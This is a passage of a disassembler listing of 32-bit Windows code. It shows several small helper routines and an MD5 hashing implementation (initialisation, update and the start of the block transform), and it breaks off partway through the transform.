arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
		jnz	short loc_43492C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4348C4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348C4:				; CODE XREF: sub_4348A0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_4348DD
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348DD:				; CODE XREF: sub_4348A0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4348ED
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4348ED:				; CODE XREF: sub_4348A0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_40164A
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 30C299E8h, 0C0859002h, 0E8560E74h, 0FFFCCE9Bh, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43492C:				; CODE XREF: sub_4348A0+12j
		pop	esi
		retn
sub_4348A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434960	proc near		; CODE XREF: sub_401609j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_434985
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_434985:				; CODE XREF: sub_434960+15j
		nop
		call	near ptr 2740763h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4349AE
		push	esi
		mov	edi, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349AE:				; CODE XREF: sub_434960+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4349CB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4349CB:				; CODE XREF: sub_434960+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_434960	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434A00	proc near		; CODE XREF: sub_401AB4j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_434A90
		cmp	[ebx+0Ch], ebp
		jz	short loc_434A6C
		cmp	[ebx+4], ebp
		jz	short loc_434A6C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A6C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_434A5F
		push	edi


loc_434A33:				; CODE XREF: sub_434A00+5Cj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_434A5A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_434A5A:				; CODE XREF: sub_434A00+3Ej
		cmp	esi, ebp
		jnz	short loc_434A33
		pop	edi


loc_434A5F:				; CODE XREF: sub_434A00+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_434A6C:				; CODE XREF: sub_434A00+13j
					; sub_434A00+18j ...
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 2740000h
		cmp	[ebx+4], ebp
		jz	short loc_434A86
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_402252
		add	esp, 4


loc_434A86:				; CODE XREF: sub_434A00+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_434A90:				; CODE XREF: sub_434A00+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_434A00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434AD0	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_5103B4
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_434AF4
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_434B03
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_434AF4:				; CODE XREF: sub_434AD0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_434B03
		mov	eax, ebx


loc_434B03:				; CODE XREF: sub_434AD0+1Aj
					; sub_434AD0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_434B65
		test	eax, eax
		jz	short loc_434B52
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_434B52
		test	ebx, ebx
		jz	short loc_434B52
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_434B3D


loc_434B27:				; CODE XREF: sub_434AD0+65j
		cmp	[ecx+8], esi
		jz	short loc_434B39
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_434B27
		jmp	short loc_434B3D
; ---------------------------------------------------------------------------


loc_434B39:				; CODE XREF: sub_434AD0+5Aj
		test	ecx, ecx
		jnz	short loc_434B52


loc_434B3D:				; CODE XREF: sub_434AD0+55j
					; sub_434AD0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DDE
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_434B65


loc_434B52:				; CODE XREF: sub_434AD0+3Cj
					; sub_434AD0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 27603DDh
		test	eax, eax
		jnz	short loc_434B65
		mov	edi, 0Bh


loc_434B65:				; CODE XREF: sub_434AD0+38j
					; sub_434AD0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_434AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_434BA0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27D0990h
		mov	esi, eax
		call	sub_438250
sub_434BA0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	0C0EFE851h, 5690022Fh, 0E5E8D88Bh
		dd 90022FC2h, 36CAE857h, 8B5F0000h, 0C35B5EC3h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_434BF0	proc near		; CODE XREF: sub_401A69j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_434BF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434C30	proc near		; CODE XREF: sub_401C26j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_434C5B
		inc	dword ptr [esi+14h]


loc_434C5B:				; CODE XREF: sub_434C30+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_434CB9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_435A30
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_434DA0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_434CB5


loc_434C99:				; CODE XREF: sub_434C30+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_434DA0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_434C99


loc_434CB5:				; CODE XREF: sub_434C30+67j
		xor	eax, eax
		jmp	short loc_434CBB
; ---------------------------------------------------------------------------


loc_434CB9:				; CODE XREF: sub_434C30+41j
		xor	ebp, ebp


loc_434CBB:				; CODE XREF: sub_434C30+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_435A30
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_434C30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434D10	proc near		; CODE XREF: sub_402176j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_435950
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_434D43
		mov	ecx, 78h


loc_434D43:				; CODE XREF: sub_434D10+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA	; "€"
		push	edi
		call	sub_401C26
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C26
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_435950
		push	58h
		push	0
		push	edi
		call	sub_435A60
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_434D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434DA0	proc near		; CODE XREF: sub_434C30+58p
					; sub_434C30+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4359C0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
